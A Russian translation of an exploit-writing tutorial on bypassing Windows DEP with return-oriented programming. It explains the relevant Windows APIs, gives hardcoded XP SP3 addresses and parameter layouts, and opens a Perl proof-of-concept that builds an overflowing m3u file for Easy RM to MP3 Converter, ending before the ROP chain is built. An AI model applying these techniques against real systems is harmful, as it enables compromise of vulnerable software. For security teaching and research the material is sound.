R0 CREW

Exploit Writing Tutorial Part 10: Chaining DEP with ROP – the Rubik’s[TM] Cube [Перевод: gavz]

ru
#1

Перейти к содержанию

Введение

Около 3 месяцев после окончания моего предыдущего Exploit writing tutorial part 9: Introduction to Win32 shellcoding, я, наконец, нашел время и свежую энергию, чтобы начать писать новую статью.

В предыдущих уроках, я объяснил основы переполнение стека и как они могут привести к выполнению произвольного кода. Я обсуждал о прямом RET переполнении, эксплоиты основанные на SEH, Unicode и другие Exploiting Ken Ward Zipper: Taking advantage of payload conversion, использование плагинов отладчика для ускорения разработки эксплойтов, как обойти механизмы защиты и как написать свой ​​собственный шелл-код.

В то время как первые туториалы были написанны чтобы позволить людям узнать об основах разработки эксплойтов, начиная с нуля (в основном в отношении людей, которые не имеют каких-либо знаний о разработки эксплойтов), вы, скорее всего, обнаружили, что более поздние туториалы продолжают строиться на тех же основах и требует глубоких знаний ASM, творческого мышления и некоторый опыт работы написания эксплойтов в целом.

Сегодняшний туториал ничем не отличается. Я буду продолжать строить на всем, что мы видели и узнали в предыдущих уроках. Это имеет несколько последствий:

  1. Вам действительно нужно освоить технику на основе переполнения стека (прямой RET, SEH, и т.д.). Я буду считать, что вы это умеете.
  2. Вы должны иметь * некоторые * знания asm. Не волнуйтесь. Даже если ваши знания ограничиваются тем что вы в состоянии понять, что делать определенные инструкции, вы, вероятно, поймете это туториал. Но если вы хотите, чтобы построить свои собственные ROP exploits, вы должны уметь написать ассемблерный код, когда вам нужно сделать определенную задачу. В некотором смысле, и в определенной степени, можно сравнить написание ROP chain(цепь) с написанием шелл-кода, так что я думаю, что требуемый уровень asm вы должны иметь.
  3. Вы должны знать, как работать с Immunity Debugger. Установка точек останова, пошагового инструкции, изменять значения в регистрах и в стеке.
  4. Вы должны знать, как работает стек, как данные могут быть помещены в стек, берутся из стека, как работают регистры и как вы можете взаимодействовать с регистрами и стеком в целом. Это действительно необходимо, прежде чем начать создавать ROP.
  5. Если вы не овладели техникой эксплуатации на основе стека, то этот документ не для вас. Я постараюсь объяснить и документировать все действия, так хорошо, как я могу, но для того, чтобы избежать в конечном итоге очень объемный документ, я буду предпологать что вы знаете как эксплуатировать переполнение стека.

В статье 6 из этой серии учебника, я уже объяснил некоторые методы, чтобы обойти системы защиты памяти. Сегодня я более подробно расскажу об одном из этих механизмов защиты, под названием DEP. (Чтобы быть более конкретным, я буду говорить об оборудовании DEP (NX / XD), и как мы можем обойти его)

Как вы можете прочитать в туториале 6, есть 2 основных вида механизмов защиты … Прежде всего, есть много методов, которые могут быть введены в действие разработчиком (secure coding, stack cookies ( /GS ), SafeSEH, и т.д.). Большинство компиляторов и линкеров в настоящее время используют большинство из этих функций по умолчанию (кроме, конечно “secure coding”), и это хорошо. Печально, что до сих пор ужасное количество приложений не защищены и опираются на другие механизмы защиты. И я думаю, вы согласитесь, что есть еще много разработчиков, которые не применяют безопасные принципы кодирования для всего кода. И главное (что делает вещи еще хуже), некоторые разработчики начинают полагаться на механизмы защиты ОС (см далее), и просто даже не заботятся о написание безопасного кода.

Это подводит нас ко второму слою защиты, которые являются частью всех последних версиях операционной системы Windows: ASLR (Address Space Layout Randomization) и DEP (Data Execution Prevention).

ASLR рандомизирует стек, кучу (heap), модуль базового адреса, что делает трудно предсказуемым местоположение адреса / памяти, следовательно это усложняет чтобы построить надежные эксплоиты. DEP (я имею в виду аппаратного DEP в этом уроке) будет предотвращать код который будет выполняться в стеке (что мы делали во всех предыдущих уроках).

Сочетание ASLR и DEP, как было доказано весьма эффективна в большинстве случаев (но, как вы узнаете, по-прежнему можно обойти при определенных обстоятельствах).

В небольших приложениях ошибки переполнение буфера не исчезнут вероятно никогда и при компиляции / компоновки защитные механизмы до сих пор не применяется для всех модулей. Так что ASLR и DEP наш “последний рубеж” защиты. ASLR и DEP в настоящее время являются частью всех последних ОС, и обход этих 2 механизма защиты стали важными целями для хакеров и исследователей.

Техника, которая будет использоваться для обхода DEP в этом учебнике не новая техника. Она базируется на основе концепции ret-to-libc или просто "ROP ( Возвратно ориентированного программирования )…

Я уже обсуждал концепцию RET-to-LIBC в учебнике 6, а на самом деле, техника NtSetInformationProcess в уроке 6 является примером ROP.

За последний годы / месяцы, новые векторы, новые способы использования ROP чтобы обойти DEP были задокументированы, в этом учебнике просто собрана вся информация и объясняется, как они могут быть использованы для обхода DEP на системах Win32.

Прежде чем взглянуть на то, что такое DEP, и как это обойти, есть очень важные вещи которые надо иметь в виду:

Во всех предыдущих уроках, наш Шеллкод (в том числе выравнивание кода и т.д.) был помещен где-то на стеке или куче, и мы пытались построить надежные способы, чтобы перейти к этому коду и выполнить его.

При включеном аппаратном DEP, вы не можете выполнить инструкцию в стеке. Вы все еще можете положить или вытащить данные из стека, но вы не можете выполнить код из стека, только в обход отключив DEP в первую очередь.

Запомни.

Аппаратный DEP в мире Win32

Аппаратная DEP использует NX (“No Execute page protection”, спецификация AMD) или XD (“Execute Disable”, спецификация Intel) бит с DEP - совместимыми процессорами, и будет отмечать определенные части памяти (которые должны содержать только данные, такие как кучу, стек, пулы памяти ( memory pools ) ) как неисполняемые.

При попытке выполнить код со страницы данных защищеным DEP, будет происходить нарушение прав доступа (STATUS_ACCESS_VIOLATION (0xc0000005)) . В большинстве случаев, это приведет к прекращению процесса (необработанное исключение). В результате этого, когда разработчик решил, что он хочет, чтобы код выполнялся с определенной страницы памяти, он должен будет выделить память и пометить его как исполняемую.

Поддержка аппаратного DEP была введена в Windows XP SP2 и Windows Server 2003 с пакетом обновления 1 и теперь является частью всех версий операционной системы Windows.

DEP функция на странице каждой виртуальной памяти изменит один бит PTE (Page Table Entry), чтобы отметить определенные области памяти.

Для того, чтобы ОС могла использовать эту функцию, процессор должен быть запущен в режиме PAE (Physical Address Extension). К счастью, в Windows включен PAE по умолчанию. (64bit системы “Address Windowing Extensions” (AWE) , поэтому нет необходимости иметь отдельное ядро ​​PAE в 64bit )

Windows поддерживает четыре варианта настройки DEP на уровне системы. Во всех этих вариантах может использоваться как программная, так и аппаратная реализация DEP:

  • OptIn: Только ограниченный набор модулей системы Windows / исполняемые файлы защищены DEP.
  • OptOut: Все программы, процессы, службы в системе Windows защищены, кроме тех процессов которые в списке исключений.
  • AlwaysOn: Все программы, процессы, службы, и т.д. в системе Windows, защищены. Без исключений
  • AlwaysOff: DEP отключена.

Можно еще прочитать тут.

В дополнение к этим 4 режимам, MS реализовала механизм, называемый “Постоянный DEP”, который использует SetProcessDEPPolicy (PROCESS_DEP_ENABLE), изменяет политику DEP для текущего процесса. На Vista (и позже), это “постоянный” флаг автоматически устанавливается для всех исполняемых файлов, которые были связаны с параметром / NXCOMPAT. Когда флаг установлен, то изменить DEP политику для этого исполняемого возможно только с использованием метода SetProcessDEPPolicy (см ниже).

Настройки по умолчанию для различных версий операционной системы Windows, являются:

  • Windows XP SP2, XP SP3, Vista SP0: OptIn
  • Windows Vista SP1: OptIn + Постоянный DEP
  • Windows 7: OptIn + Постоянный DEP
  • Windows Server 2003 с пакетом обновления 1 и выше: OptOut
  • Windows Server 2008 и до: Optout + Постоянный DEP

функция DEP на XP и server 2003 может быть изменена с помощью параметра в файле boot.ini. Просто добавьте следующий параметр в конце файла, который относится к вашей конфигурации загрузки ОС:

/noexecute=policy

(где “policy” может быть OptIn, OptOut, AlwaysOn или AlwaysOff)

Под Vista / Windows 2008 / Windows 7, вы можете изменить настройки, используя команду BCDedit:

bcdedit.exe /set nx OptIn
bcdedit.exe /set nx OptOut
bcdedit.exe /set nx AlwaysOn
bcdedit.exe /set nx AlwaysOff

Вы можете получить текущее состояние, запустив “Bcdedit” и, посмотреть на значение NX

Некоторые ссылки об аппаратном DEP:

http://support.microsoft.com/kb/875352
http://en.wikipedia.org/wiki/Data_Execution_Prevention
http://msdn.microsoft.com/en-us/library/aa366553(VS.85).aspx

Обход DEP - Базовые блоки

Как указано в введении, когда аппаратная функция DEP включена, вы не можете просто сделать jump на ваш шеллкод в стеке и выполнить его. Вместо этого, будет инициировано нарушение прав доступа и процесс завершиться.

Более того, каждая конкретная DEP установка (OptIn, OptOut, AlwaysOn, AlwaysOff) и влияние (или отсутствие) Постоянного DEP требует (или даже диктует) особый подход и технику.

Итак, каковы наши варианты?

Ну, поскольку мы не можем выполнить свой собственный код в стеке, единственное, что мы можем сделать, это выполнить существующие инструкции / вызвать существующие функции из загруженных модулей и использовать данные в стеке как параметры этих функций / инструкций.

Эти существующие функции дают нам следующие варианты:

  • выполнять команды (WinExec например - классический “ret-to-libc”)
  • пометить страницу (например, стек), который содержит ваш шелл-код как исполняемую (если это разрешено политикой DEP) и перейти к ней
  • скопировать данные в исполняемую область и перейти к ней.(Мы можем выделить памяти и отметить регион как исполняемый)
  • изменить DEP настройки для текущего процесса перед запуском шеллкода

Текущая активная DEP политика и настройки, очень много диктуют технику (ки), которую вы должны использовать, чтобы обойти DEP в определенном сценарии.

Методика, которая должна работать все время есть “классический” ret-to-libc. Вы должны будете выполнять простые команды, используя существующие вызовы API Windows (таких, как WinExec).

Нам действительно нужно, чтобы попытаться обойти / отменить / изменить настройки DEP и выполнить наш шелл-код. К счастью, сделать страницу исполняемой, изменение настроек DEP политики / и т.д. может быть сделано с помощью родных API ОС Windows.

Это так просто?

  • Да и нет.

Вопрос: Как мы можем получить нужные нам параметры в стеке?

Ответ: С пользовательского кода.

Однако пользовательский код в стеке не может быть выполнен. DEP предотвратит это.

Не веришь мне? Давайте попробуем с нашей старой доброй Easy RM в MP3 Convertor.

Без DEP (OptIn)

С DEP (OptOut)

Как видно в отладчике (с включенным DEP - OptOut), shellcode не выполняется даже если мы сделаем прямой прыжок на точку входа нашего шелл-кода – Видео

Доверьтесь мне. Даже простой NOP не будут выполнен

The gadget

Вернемся к нашему «пользовательскому коду» . Если выполнение кода из стека не будет работать, мы должны использовать ROP.

Для того, чтобы запустить наш собственный код, в конечном итоге нам надо вызвать функции Windows API. Мы должны использовать существующие инструкции и положить их в таком порядке (“цепь” их вместе), так чтобы они выполнили то, что нам нужно, и поместить данные в регистрах и / или в стеке.

Мы должны построить цепь команд чтобы перейти от одной части цепи к другой части цепи, никогда не выполняя даже одиного бита из нашей DEP защищенной области. Или скажем по другому, мы должны вернуться из одной команды в адрес следующей инструкции (и наконец вернуться к нашему шелл-коду).

Каждая команда (серия инструкций) в нашей цепи ROP будет называться “гаджет”. Каждый гаджет будет возвращяться к следующему гаджету (= по адресу следующего гаджета, размещенных в стеке), или будет вызывать следующий адрес напрямую. Таким образом, последовательности команд прикованы вместе. Важно понимать, что мы собираемся построить ROP exploits на основе переполнения стека. Это будет место, где находиться наша полезная нагрузка, так что это “нормально”, то что мы будем возвращаться в стек (это скорее всего будет место где цепь запускается, и таким образом, выступает в качестве “вызывающего” ROP цепь)

В его оригинальной работе, Hovav Shacham используется термин “гаджет”, когда речь идет о более высоком уровне макросов/фрагменты кода. В настоящее время термин “гаджет” часто используется для обозначения последовательности инструкций, заканчиваюшиеся - RET (которое на самом деле просто подмножество первоначального определение “гаджет”). Важно, чтобы понять эту тонкость, но в то же время я уверен, что вы простите меня, когда я использую “гаджет” в этом руководстве для обозначения набора команд, заканчивающихся RET.

При попытке установить определенный регистр или значение в стеке, вы можете в конечном итоге изменить что-то другое.(прим.ред. Думаю автор статьи хотел сказать, изменить какие-то данные которыми оперировала программа.)

Это не универсальный способ построить ROP exploit, и это несколько разочаровывает. Но я могу гарантировать вам, что некоторая настойчивость и упорство окупится.

Это теория.

Функции Windows, для обхода DEP

Прежде всего, перед тем, как начать писать эксплоит, необходимо определить, какие функции API могут быть использованы, чтобы обойти DEP.

Это наиболее важные функции, которые могут помочь вам обойти / отключить DEP:

VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + копия памяти. Это позволит вам создать новый регион исполняемой памяти, скопировать шелл-код к нее, и выполнить его. Этот метод может потребовать от вас цепи 2-х API’s, друг в друге

HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + копия памяти. В сущности, эта функция будет обеспечивать очень похожую технику как VirtualAlloc(), но может потребовать 3 API’s вместе)).

SetProcessDEPPolicy(). Это позволяет изменить политику DEP для текущего процесса (так что вы можете выполнить шеллкод из стека) (Vista SP1, XP SP3, Server 2008, и только тогда, когда DEP Политика установлена в OptIn или OptOut)

NtSetInformationProcess(). Эта функция изменит политику DEP для текущего процесса, так что вы можете выполнить свой ​​шелл-код из стека.

VirtualProtect(PAGE_READ_WRITE_EXECUTE). Эта функция изменит уровень защиты доступа данной страницы памяти, что позволяет отметить место, где находиться ваш шеллкод как исполняемый.

WriteProcessMemory(). Это позволит вам скопировать шелл-код в другое (исполняемое) место, так что вы можете перейти к нему и исполнить шеллкод. Место назначения должно быть доступно для записи и исполнения.

Каждая из этих функций работает со стеком или регистрами которые должны быть созданы спицефически для каждой из них В конце концов, когда API, вызывается, она будет считать, что параметры функции помещены в верхней части стека (= в ESP). Это означает, что ваша основная цель, поместить эти значения в стек надежным способом, без выполнения какого-либо кода из стека.

После создания всей ROP цепи, ваш конечный результат будет, вероятно выглядеть так:

Прямо перед вызовом функции, ESP указывает на функцию Windows API. За указателем непосредственно следуют параметры, которые необходимы для функции.

В то время “RET” инструкция будет прыгать по адресу указанному в ESP.

Выберите ваше оружие

(1) = не существует
(2) = удастся, потому что политика DEP настроена по умолчанию

Не беспокойтесь о том, как применять эти методы, все будет ясно в ближайшее время

Параметры функции и советы по использованию

VirtualAlloc(). Эта функция выделит новую виртуальную память. Один из параметров, на этой функции определяет уровень вновь выделенной памяти, нашей целью является установить это значение EXECUTE_READWRITE- Исполнение, чтение и запись.

http://www.firststeps.ru/mfc/winapi/r.php?113

LPVOID WINAPI VirtualAlloc(
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

Эта функция должна быть создана в стеке со следующими значениями:

  • Return Address - адрес куда функция должна вернуться после того как выполниться
  • lpAddress - задает начальный адрес. При этом адрес округляется до ближайшей границы блока размером 64 Кбайт. Это значение можно задать NULL и тогда операционная система сама выберет этот адрес.
  • dwSize - Размер памяти в байтах. (вам скорее всего, нужно создать это значение с помощью ROP, если ваш exploit может справиться с нулевыми байтами)
  • flAllocationType - Установите 0x1000 (MEM_COMMIT).Нужно для ROP, чтобы создать и записать это значение в стек
  • flProtect - Установите 0x40 (EXECUTE_READWRITE). Нужно для ROP, чтобы создать и записать это значение в стек

В Win_XP SP3, эта функция находится по адресу 0x7C809AF1 (kernel32.dll)

Если вызов VirtualAlloc() был успешным, адрес по котрому была выделена память будет сохранен в EAX.

Примечание: эта функция только выделит новую память. Вы должны будете использовать второй вызов API, чтобы скопировать шеллкод в эту новую область и выполнить его. Так что вам нужна вторая ROP цепь для достижения цели. (В приведенной выше таблице, Return Address должен указывать на вторую ROP цепь. Адрес возврата VirtualAlloc() должен указывать на ROP цепь которая будет копировать ваш шелл-код для вновь выделенного региона и затем перейти к нему)

Для этого вы можете использовать:

  • memcpy() (ntdll.dll) – 0x7C901DB3 on XP SP3
  • WriteProcessMemory() (см ниже)

Если вы, например, хотите использовать memcpy(), то вы можете использовать оба VirtualAllocate() и memcpy() вместе и выполнить непосредственно друг за другом, используя следующие настройки:

  • указатель на функцию memcpy (return address в поле функция VirtualAlloc()). Когда функция VirtualAlloc закаончит выполняться, она возвратится к этому адресу
  • lpAddress: произвольный адрес (где выделять новую память. Пример 0x00200000)
  • size (насколько велика должна быть новая выделенная память)
  • flAllocationType (0x1000: MEM_COMMIT)
  • flProtect (0x40: PAGE_EXECUTE_READWRITE)
  • Произвольный адрес (то же адрес как lpAddress, этот параметр здесь будет использован для перехода к шеллкод после то как memcpy() вернется). Это поле первый параметр memcpy() функции
  • Произвольный адрес (снова, такой де как lpAddress. Здесь параметр будет использоваться как адрес назначения для функции memcpy() ). Это поле второго параметра функции memcpy()
  • Адрес шеллкода ( = источник параметра для функции memcpy()). Это будет 3-й параметр для memcpy()
  • Size: size parameter for memcpy(). Это последний параметр для memcpy() function

Найти надежный адрес (адрес где можно выделить память) и произвести все параметры в стеке, используя rop.

Когда эта цепочка закончится, вы в конечном итоге исполните код, который был скопирован во вновь выделенную память .

HeapCreate()

http://www.firststeps.ru/mfc/winapi/r.php?120

HANDLE WINAPI HeapCreate(
  __in  DWORD flOptions,
  __in  SIZE_T dwInitialSize,
  __in  SIZE_T dwMaximumSize
);

Эта функция будет создавать частную кучу, которая может быть использована в нашем экплоите. Пространство будет зарезервировано в виртуальном адресном пространстве процесса.

Когда параметр flOptions установлен в 0x00040000 (HEAP_CREATE_ENABLE_EXECUTE), то все блоки памяти, которые были выделены из этой кучи, позволит выполнить код, даже если DEP включен.

Параметр dwInitialSize должен содержать значение, указывающее начальный размер кучи в байтах. Если вы установите этот параметр в 0, то будет выделена одна страница .

Параметр dwMaximumSize относится к максимальному размеру кучи, в байтах.

Эта функция будет создавать только частную кучу и пометит ее как исполняемую. Вы выделяте память в куче (с HeapAlloc например), а затем копируете шелл-код в эту кучу используя memcpy()

Когда функция возвращает CreateHeap, указатель на вновь созданную кучу будет храниться в EAX. Вам нужно будет это значение, чтобы обратиться с HeapAlloc():

http://www.firststeps.ru/mfc/winapi/r.php?121

LPVOID WINAPI HeapAlloc(
  __in  HANDLE hHeap,
  __in  DWORD dwFlags,
  __in  SIZE_T dwBytes
);

Когда новая память кучи быдет выделена, вы можете использовать memcpy(), чтобы скопировать шелл-код в выделенную кучу и выполнить его.

На XP SP3, HeapCreate находится по адресу 0x7C812C56. HeapAlloc() находится по адресу 7C8090F6. Обе функции являются частью kernel32.dll

SetProcessDEPPolicy()

https://msdn.microsoft.com/en-us/library/windows/desktop/bb736299(v=vs.85).aspx

Работает для: Windows XP SP3, Vista SP1 и Windows 2008.

Для того, чтобы эта функция работала, DEP Политика должна быть установлена ​​в OptIn или OptOut. Если политика настроена на AlwaysOn (или AlwaysOff), то SetProcessDEPPolicy выдаст ошибку. Если модуль связан с / NXCOMPAT, техника не будет работать. Наконец, и это не менее важно, его можно вызвать только для процесса ( т.е. для процесса , для которого пишется эксплоит ) и только один раз. Так что, если эта функция уже вызывалась в текущем процессе (IE8 например, вызывает его, когда начинает работать), то он не будет работать.

Bernardo Damele написал по этой теме: http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html

BOOL WINAPI SetProcessDEPPolicy(
  __in  DWORD dwFlags
);

Эта функция требует один параметр, и этот параметр должен быть установлен в 0, чтобы отключить DEP для текущего процесса.

Для того, чтобы использовать эту функцию в ROP цепи, необходимо настроить стек вроде этого:

  • указатель на SetProcessDEPPolicy()
  • указатель на Shellcode
  • zero

Адрес SetProcessDEPPolicy() в Win_XP SP3 является 7C8622A4 (kernel32.dll)

NtSetInformationProcess()

Работает для: Windows XP, Vista, Windows SP0 2003

NtSetInformationProcess(
   NtCurrentProcess(),    // (HANDLE)-1
   ProcessExecuteFlags,   // 0x22
   &ExecuteFlags,         // ptr to 0x2
   sizeof(ExecuteFlags)); // 0x4

Функции требует 5 параметров в стеке:

  • Return address место, где помещается ваш шеллкод
  • NtCurrentProcess() Статическое значение, установить 0xFFFFFFFF
  • ProcessExecuteFlags Статическое значение, установить 0x22
  • &ExecuteFlags Указатель 0x2 ( значение может быть статическим, может быть динамическим ). Этот адрес должен указывать на область памяти, которая содержит 0x00000002
  • sizeOf(ExecuteFlags) Статическое значение, установить 0x4

NtSetInformationProcess не выполнится, если Permanent DEP флаг установлен. В Vista (и позже), этот флаг установлен автоматически для всех исполняемых файлов, связанных с возможностью линкера / NXCOMPAT и (который устанавливает в заголовке PE флаг IMAGE_DLLCHARACTERISTICS_NX_COMPAT ). Техника также не будет работать, если режим DEP политики установлен на AlwaysOn.

Кроме того, вы также можете использовать существующие процедуры в NTDLL (который, по сути, будет делать то же самое, и эти параметры будут установленные для вас автоматически).

В XP SP3, NtSetInformationProcess() находится по адресу 7C90DC9E (ntdll.dll)

Как уже говорилось ранее, я уже объяснил возможный путь, чтобы использовать эту технику в части 6, но я покажу еще один способ использовать эту функцию в сегодняшнем уроке.

VirtualProtect()

http://www.firststeps.ru/mfc/winapi/r.php?30

Функция VirtualProtect изменяет защиту доступа к памяти в вызывающем процессе.

BOOL WINAPI VirtualProtect(
  __in   LPVOID lpAddress,
  __in   SIZE_T dwSize,
  __in   DWORD flNewProtect,
  __out  PDWORD lpflOldProtect
);

Чтобы использовать эту функцию, вы должны будете поставить 5 параметров в стек:

  • Return address указатель на то место, куда VirtualProtect() должена вернуться. Это будет адрес вашего шеллкода в стеке (динамически созданное значение)
  • lpAddress адрес региона для установки флага, атрибуты защиты которого должны быть изменены. В сущности, это будет базовый адрес вашего шеллкода в стеке (динамически созданное значение)
    dwsize количество байт (динамически созданное значение, убедитесь, что весь шелл-код будет выполнен. Если шеллкод будет расширяться по некоторым причинам (из-за декодирования например), то эти дополнительные байты должны быть приняты во внимание и учтены.
  • flNewProtect вариант, который определяет возможность новой защиты: 0x00000040: PAGE_EXECUTE_READWRITE. Если ваш шеллкод не будет изменять себя (декодироваться, например), то значение 0x00000020 (PAGE_EXECUTE_READ) может также работать
  • lpflOldProtect адрес для сохранения старых флагов

Примечание: константы защиты памяти, которые могут быть использованы в VirtualProtect() можно найти здесь

В XP SP3, VirtualProtect() находится по адресу 0x7C801AD4 (kernel32.dll)

WriteProcessMemory()

http://vsokovikov.narod.ru/New_MSDN_API/Debug_comm/fn_writeprocessmemory.htm

http://msdn.microsoft.com/en-us/library/ms681674(VS.85).aspx

Техника документирована by Spencer Pratt: http://www.packetstormsecurity.org/papers/general/Windows-DEP-WPM.txt

BOOL WINAPI WriteProcessMemory(
  __in   HANDLE hProcess,
  __in   LPVOID lpBaseAddress,
  __in   LPCVOID lpBuffer,
  __in   SIZE_T nSize,
  __out  SIZE_T *lpNumberOfBytesWritten
);

Эта функция позволит вам копировать шелл-код в другую (исполняемую) память, так что вы сможете перейти к ней и выполнить его. Во время копирования, WPM() убедиться что место назначения разрешено для записи. Вы только должны удостовериться, что целевое назначение является исполняемым.

Эта функция требует 6 параметров в стеке:

  • Return address Адрес, куда WriteProcessMemory() должен вернуться к после того как будет выполнена
  • hProcess Дескриптор процесса. Должно быть = -1, чтобы указать на текущий процесс (Статическое значение 0xFFFFFFFF)
  • lpBaseAddress указатель на то место, куда ваш шеллкод должен быть записан . “return address” и “lpBaseAddress” будет такой же.
  • lpBuffer начальный адрес вашего шеллкода (генерироваться динамически, адрес в стеке)
  • nSize Количество байтов, которые должны быть скопированы в место назначения
  • lpNumberOfBytesWritten место для записи , куда будут записаны байты

В XP SP3, WriteProcessMemory() находится по адресу 0x7C802213 (kernel32.dll)

Одна из приятных вещей в WriteProcessMemory() (сокращенно WPM() с этого момента) является то, что вы можете использовать его 2-я способами, чтобы обойти DEP.

* WPM Техника 1: полный WPM() вызов

Вы можете скопировать / написать шеллкод в исполняемое место и перейти к нему. Этот метод требует, чтобы все WPM() параметры были установлены правильно. Возможным примером для XP SP3 будет patching oleaut32.dll (которая загружается во многих приложениях). Oleaut32.dll скорее всего, не будет использоваться в нашем шеллкоде, так что было бы приемлемым, чтобы “повредить” его.

Секция .text oleaut32.dll является R E, начинается с 0x77121000 адреса и имеет размер в 7F000 байт.

Существует проблема с этим подходом. Так как вы будете записывать в область отмеченную как R + E, шеллкод не сможет изменить себя. ( Вызов WriteProcessMemory временно отметит местоположение в качестве Writeable, но удалит уровень снова.) Это означает, что, если вы используете кодированный шелл-код (или шелл-код, который изменяет себя), он не будет работать. Это может быть проблемой из-за плохих символов и т.д.

Нам нужно 2 адреса: один для использования в качестве обратного адреса / адреса назначения, и один, который будет использоваться в качестве writeable location адресом (куда “количество записанных байт” будут записаны ). Таким образом, хороший пример будет выглядеть так:

  • Return address 0x77121010
  • hProcess 0xFFFFFFFF
  • lpBaseAddress 0x77121010
  • lpBuffer которые будут созданы
  • nSize которые будут созданы
  • lpNumberOfBytesWritten 0x77121004

(The lpNumberOfBytesWritten находится перед местом назначения, во избежание того что бы повредить Шеллкод после того как он был скопирован по назначению)

Если вы хотите использовать шеллкод, который использует декодер, вам придется снабдить его вызовом VirtualProtect так, чтобы отметить текущую область как для записи / исполняемую (в зависимости от того куда вы пишете в RE или RW область), прежде чем сработает кодированный шелл-код …

* WPM Техника 2: Патч WPM() сам по себе

Кроме того, вы также можете “патчить” функцию WPM сами. В основном от вас требуется писать шеллкода в kernel32.dll, перезаписать часть функции WPM. Это позволит решить проблему с закодированным шеллкодом (но имеет ограничение размера, как вы увидите далее)

В XP SP3, функция WPM находится по адресу 0x7C802213

Внутри функции WPM, есть ряд вызовов и прыжков для копирования данных (шеллкод) из стека в место назначения:

  • 0x7C802222: call ntdll.ZwProtectVirtualMemory(): этот вызов функции убедиться, что целевое местоположение доступено для записи
  • 0x7C802271: call ntdll.ZwWriteVirtualMemory()
  • 0x7C80228B: call ntdll.ZwFlushInstructionCache())
  • 0x7C8022C9: call ntdll.ZwWriteVirtualMemory()

После вызова последней функции, данные будут скопированы в место назначения.

Когда функция WPM завершит процесс копирования, он возвращается к 0x7C8022CF. Так что может быть хорошее место, чтобы использовать в качестве адреса назначения, потому что будет сидеть в естественном потоке приложения и таким образом выполняться автоматически.

Это имеет несколько последствий:

Параметры: Первый (return address) и последний параметр (указатель на доступный для записи адрес для lpNumberOfBytesWritten) на самом деле не важны. Вы можете просто установить (return address) , например в 0xFFFFFFFF. Хотя Spencer Pratt заявил в своем документе, что lpNumberOfBytesWritten может быть установлен в любое значение (0xDEADBEEF если хотите), оказывается, что этот адрес еще должен указывать на доступное для записи место. В дополнение к этому, адрес назначения (куда шеллкод должен быть занаписан) внутри WPM , сама функция . На XP SP3, это - 0x7C8022CF

Размер: Патчинг функции WPM выглядит красиво, но это может повредить kernel32.dll, если мы пишем слишком далеко. kernel32.dll может быть важен для самого шеллкода. Очень вероятно, что ваш шеллкод будет использовать функции kernel32.dll. Если вы повредите kernel32.dll структуру, ваш шеллкод может не сработать. Так этот метод будет работать для случаев, когда ваш размер Шеллкод ограничен.

Пример стека:

  • Return address 0xFFFFFFFF
  • hProcess 0xFFFFFFFF
  • lpBaseAddress 0x7C8022CF
  • lpBuffer to be generated
  • nSize to be generated
  • lpNumberOfBytesWrittenюзать (любой) доступный для записи место, может быть статическим

ROP Exploit транспортабельность

Когда вы начинаете писать ROP эксплоиты, вы, скорее всего будете использовать Win API адреса из native dll-ok Windows. Старайтесь не использовать их, так как ваш эксплоит не бедет работать на другой версии операционной системы Windows.Может быть хорошей идеей проверить вдруг приложение использует функцию, которую вы хотите использовать, чтобы обойти DEP
Если ваш эксплоит использует ссылки на Win API, то было бы хорошо использовать их как гаджеты чтобы построить ROP цепь . Пока мы не имеем дело с ASLR, то все это прекрасно.

Возможный способ узнать можете ли вы использовать API-вызовы внутри приложения или группы приложений, загрузите исполняемый файл в IDA disassembler, и look в раздел " Imports "

Пример: msvcr71.dll в XP SP3

  • 7C37A08C: HeapCreate()
  • 7C37A07C: HeapAlloc()
  • 7C37A094: VirtualAlloc()
  • 7C37A140: VirtualProtect()

Из EIP к ROP

Прежде чем мы начнем

В Dino Dai Zovi‘s удивительной работе о ROP, он визуализирует ROP эксплоит компонентов процесса (стр 39) очень хорошо. Для написания ROP эксплоита, вам нужно:

  • Опорную точку в стеке
  • Используйте ваши гаджеты чтобы настроить стек / регистры (ROP payload)
  • Поместить ваш шеллкод
  • Выполнить шелл-код

Прямой RET - Версия ROP - VirtualProtect()

Time to ROP ‘n ROLL

Давайте строить наш первый ROP эксплоит.

Мы будем использовать Windows XP SP3 Professional, английский, с DEP в режиме Optout.

В этом примере, я постараюсь построить ROP для Easy RM в MP3 Converter, уязвимого приложения, который был использован ранее в уроке 1.

Примечание: смещения и адреса могут отличаться на вашей системе. Не просто слепо копируйте все из этого учебника,попробуйте сами корректировать адреса, где это необходимо…

Easy RM в MP3 Converter является уязвимым к переполнению буфера при открытии m3u файла, содержащий слишком длинную строку. Используя cyclic pattern, мы обнаруживаем, что EIP, перезаписывается после 26094 байта. Опять же, это смещение на моей системе. Если смещение различны, то измените script соответственно.

Script (Perl) будет выглядеть следующим образом:

#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "A" x $buffersize;
my $eip="BBBB";
my $rest = "C" x 1000;
my $payload = $junk.$eip.$rest;
print "Payload size: ".length($payload)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";

Если наша смещение является правильным, в EIP должено быть BBBB (42424242) …

И ESP указывает на адрес, который содержит наши “C” (0х43). Пока все хорошо, это типичная прямая RET перезаписать.

Если бы не DEP, мы бы разместить наш шеллкод в ESP (вместо С (0х43)), и перезаписали EIP указателем на JMP ESP. Но мы не можем сделать, потому что шеллкод не будет выполнен из-за DEP.

Таким образом, мы создадим ROP цепь, которая будет использовать функцию VirtualProtect() (kernel32.dll), чтобы изменить уровень защиты доступа страницы памяти, где находится шеллкод, а затем выполнен. Прежде чем вызвать VirtualProtect() , нам нужно поместить в стек нужные значения.

Есть несколько способов сделать это. Мы можем поставить требуемые значения в регистрах, а затем выполнить pushad (который все регистры поместит в стек ). Второй метод положит некоторые из параметров (в статических / те, без нулевых байтов) в стеке , и использовать некоторые ROP гаджеты для расчета других параметров и записать их в стек (с помощью какой-то снайперской техники ).

Мы не можем использовать нулевые байты в файле M3U, потому что Easy RM в MP3 Converter будет обрабатывать данные в файле в виде строки, и прекратит его обрабатывать как только встретит первый нулевой байт. Мы также должны иметь в виду , что должны использовать ограниченный набор символов (мы просто создим закодированный шелл-код, чтобы преодолеть эту проблему)

Достаточно болтовни, давайте начнем.

Как построить цепочку (основы цыпочек)
